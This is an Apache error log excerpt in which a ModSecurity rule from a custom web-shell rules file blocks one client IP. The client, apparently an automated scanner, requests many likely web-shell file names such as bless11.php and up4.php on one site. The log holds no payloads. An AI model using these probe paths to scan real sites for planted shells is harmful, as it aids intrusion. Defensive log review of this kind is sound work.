[Thu Jan 08 04:39:41.010409 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:6879] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aV7EjSoRk9xWJ3toSBKmwwAAANY"]
[Thu Jan 08 04:39:41.253916 2026] [:error] [pid 15358:tid 15370] [client 4.194.192.180:6863] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aV7EjSoRk9xWJ3toSBKmxQAAAMA"]
[Thu Jan 08 04:39:41.609790 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:6816] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aV7Ejdv61bxum7WG_e9CCgAAABg"]
[Thu Jan 08 04:39:41.953933 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:6814] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aV7Ejdv61bxum7WG_e9CDAAAABA"]
[Thu Jan 08 04:39:42.267585 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:6865] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aV7Ejoov6_kvS0Owh-pklAAAAFg"]
[Thu Jan 08 04:39:42.815238 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:6890] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aV7Ejtv61bxum7WG_e9CDwAAABc"]
[Thu Jan 08 04:39:43.042473 2026] [:error] [pid 15263:tid 15273] [client 4.194.192.180:6929] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aV7Ej9v61bxum7WG_e9CEQAAAAE"]
[Thu Jan 08 04:39:43.380266 2026] [:error] [pid 15264:tid 15304] [client 4.194.192.180:6947] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aV7Ej4ov6_kvS0Owh-pkngAAAEU"]
[Thu Jan 08 04:39:43.695209 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6797] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aV7EjyoRk9xWJ3toSBKmzQAAAMw"]
[Thu Jan 08 04:39:43.955479 2026] [:error] [pid 15265:tid 15348] [client 4.194.192.180:6919] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aV7Ej6E6VBKhew2LTFSDmwAAAJY"]
[Thu Jan 08 04:39:44.391442 2026] [:error] [pid 15264:tid 15313] [client 4.194.192.180:6848] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aV7EkIov6_kvS0Owh-pkpQAAAE4"]
[Thu Jan 08 04:39:44.667345 2026] [:error] [pid 15265:tid 15335] [client 4.194.192.180:7021] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aV7EkKE6VBKhew2LTFSDnQAAAIk"]
[Thu Jan 08 04:39:44.889047 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:6815] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aV7EkCoRk9xWJ3toSBKm0QAAAMI"]
[Thu Jan 08 04:39:45.209960 2026] [:error] [pid 15358:tid 15380] [client 4.194.192.180:6908] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EkSoRk9xWJ3toSBKm0wAAAMo"]
[Thu Jan 08 04:39:45.479145 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:6903] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EkYov6_kvS0Owh-pkqgAAAFA"]
[Thu Jan 08 04:39:45.724109 2026] [:error] [pid 15264:tid 15303] [client 4.194.192.180:6787] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7EkYov6_kvS0Owh-pkqwAAAEQ"]
[Thu Jan 08 04:39:46.038315 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:6893] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aV7Ektv61bxum7WG_e9CHAAAABc"]
[Thu Jan 08 04:39:46.415852 2026] [:error] [pid 15263:tid 15289] [client 4.194.192.180:7016] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aV7Ektv61bxum7WG_e9CHQAAABE"]
[Thu Jan 08 04:39:46.810771 2026] [:error] [pid 15265:tid 15338] [client 4.194.192.180:6913] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aV7EkqE6VBKhew2LTFSDoAAAAIw"]
[Thu Jan 08 04:39:47.321240 2026] [:error] [pid 15265:tid 15344] [client 4.194.192.180:6736] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aV7Ek6E6VBKhew2LTFSDogAAAJI"]
[Thu Jan 08 04:39:47.526025 2026] [:error] [pid 15265:tid 15326] [client 4.194.192.180:6811] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aV7Ek6E6VBKhew2LTFSDowAAAIA"]
[Thu Jan 08 04:39:47.950523 2026] [:error] [pid 15264:tid 15318] [client 4.194.192.180:6873] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aV7Ek4ov6_kvS0Owh-pktQAAAFM"]
[Thu Jan 08 04:39:48.169524 2026] [:error] [pid 15265:tid 15345] [client 4.194.192.180:6971] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aV7ElKE6VBKhew2LTFSDpQAAAJM"]
[Thu Jan 08 04:39:48.445841 2026] [:error] [pid 15265:tid 15341] [client 4.194.192.180:6892] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aV7ElKE6VBKhew2LTFSDpgAAAI8"]
[Thu Jan 08 04:39:48.984078 2026] [:error] [pid 15358:tid 15373] [client 4.194.192.180:7153] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aV7ElCoRk9xWJ3toSBKm1wAAAMM"]
[Thu Jan 08 04:39:49.432162 2026] [:error] [pid 15265:tid 15346] [client 4.194.192.180:6918] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aV7ElaE6VBKhew2LTFSDqAAAAJQ"]
[Thu Jan 08 04:39:49.731429 2026] [:error] [pid 15265:tid 15330] [client 4.194.192.180:6881] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aV7ElaE6VBKhew2LTFSDqQAAAIQ"]
[Thu Jan 08 04:39:49.987344 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:6830] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aV7ElSoRk9xWJ3toSBKm2wAAAMI"]
[Thu Jan 08 04:39:50.374390 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:6902] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aV7Eloov6_kvS0Owh-pkwwAAAFA"]
[Thu Jan 08 04:39:50.663924 2026] [:error] [pid 15264:tid 15303] [client 4.194.192.180:7026] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aV7Eloov6_kvS0Owh-pkxQAAAEQ"]
[Thu Jan 08 04:39:51.020730 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:6788] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aV7ElyoRk9xWJ3toSBKm3gAAAMU"]
[Thu Jan 08 04:39:51.434429 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:7046] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aV7El9v61bxum7WG_e9CJgAAABA"]
[Thu Jan 08 04:39:51.802298 2026] [:error] [pid 15264:tid 15307] [client 4.194.192.180:6972] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aV7El4ov6_kvS0Owh-pkyAAAAEg"]
[Thu Jan 08 04:39:52.504137 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:7003] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aV7EmNv61bxum7WG_e9CKAAAAAk"]
[Thu Jan 08 04:39:52.705065 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:6725] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aV7EmNv61bxum7WG_e9CKQAAABc"]
[Thu Jan 08 04:39:53.203801 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:7000] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aV7Emdv61bxum7WG_e9CLAAAAAQ"]
[Thu Jan 08 04:39:53.677325 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:6876] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aV7EmSoRk9xWJ3toSBKm5wAAAMw"]
[Thu Jan 08 04:39:53.936743 2026] [:error] [pid 15263:tid 15283] [client 4.194.192.180:6785] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aV7Emdv61bxum7WG_e9CLwAAAAs"]
[Thu Jan 08 04:39:54.340264 2026] [:error] [pid 15263:tid 15284] [client 4.194.192.180:6882] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aV7Emtv61bxum7WG_e9CMwAAAAw"]
[Thu Jan 08 04:39:54.776472 2026] [:error] [pid 15358:tid 15381] [client 4.194.192.180:6861] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aV7EmioRk9xWJ3toSBKm6gAAAMs"]
[Thu Jan 08 04:39:55.240418 2026] [:error] [pid 15263:tid 15291] [client 4.194.192.180:6907] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aV7Em9v61bxum7WG_e9CNQAAABM"]
[Thu Jan 08 04:39:55.645895 2026] [:error] [pid 15265:tid 15332] [client 4.194.192.180:6790] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aV7Em6E6VBKhew2LTFSDtwAAAIY"]
[Thu Jan 08 04:39:56.096102 2026] [:error] [pid 15263:tid 15282] [client 4.194.192.180:6850] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aV7EnNv61bxum7WG_e9COQAAAAo"]
[Thu Jan 08 04:39:56.463841 2026] [:error] [pid 15264:tid 15319] [client 4.194.192.180:6905] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aV7EnIov6_kvS0Owh-pk1AAAAFQ"]
[Thu Jan 08 04:39:57.031048 2026] [:error] [pid 15265:tid 15326] [client 4.194.192.180:6883] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aV7EnaE6VBKhew2LTFSDuAAAAIA"]
[Thu Jan 08 04:39:57.685101 2026] [:error] [pid 15265:tid 15349] [client 4.194.192.180:6823] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aV7EnaE6VBKhew2LTFSDuwAAAJc"]
[Thu Jan 08 04:39:57.967811 2026] [:error] [pid 15265:tid 15347] [client 4.194.192.180:6923] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aV7EnaE6VBKhew2LTFSDvAAAAJU"]
[Thu Jan 08 04:39:58.267003 2026] [:error] [pid 15358:tid 15376] [client 4.194.192.180:6800] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aV7EnioRk9xWJ3toSBKm8AAAAMY"]
[Thu Jan 08 04:39:58.879603 2026] [:error] [pid 15265:tid 15339] [client 4.194.192.180:6812] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aV7EnqE6VBKhew2LTFSDvgAAAI0"]
[Thu Jan 08 04:39:59.090346 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:6976] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aV7EnyoRk9xWJ3toSBKm8gAAANY"]
[Thu Jan 08 04:39:59.463178 2026] [:error] [pid 15358:tid 15394] [client 4.194.192.180:6968] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aV7EnyoRk9xWJ3toSBKm8wAAANg"]
[Thu Jan 08 04:39:59.747023 2026] [:error] [pid 15265:tid 15330] [client 4.194.192.180:6906] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aV7En6E6VBKhew2LTFSDvwAAAIQ"]
[Thu Jan 08 04:40:00.230097 2026] [:error] [pid 15265:tid 15336] [client 4.194.192.180:6720] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aV7EoKE6VBKhew2LTFSDwAAAAIo"]
[Thu Jan 08 04:40:00.775585 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:6917] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aV7EoCoRk9xWJ3toSBKm9gAAANE"]
[Thu Jan 08 04:40:01.326074 2026] [:error] [pid 15265:tid 15331] [client 4.194.192.180:6957] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aV7EoaE6VBKhew2LTFSDxAAAAIU"]
[Thu Jan 08 04:40:01.681512 2026] [:error] [pid 15263:tid 15294] [client 4.194.192.180:6847] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aV7Eodv61bxum7WG_e9CQQAAABY"]
[Thu Jan 08 04:40:02.276051 2026] [:error] [pid 15263:tid 15275] [client 4.194.192.180:6824] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aV7Eotv61bxum7WG_e9CQgAAAAM"]
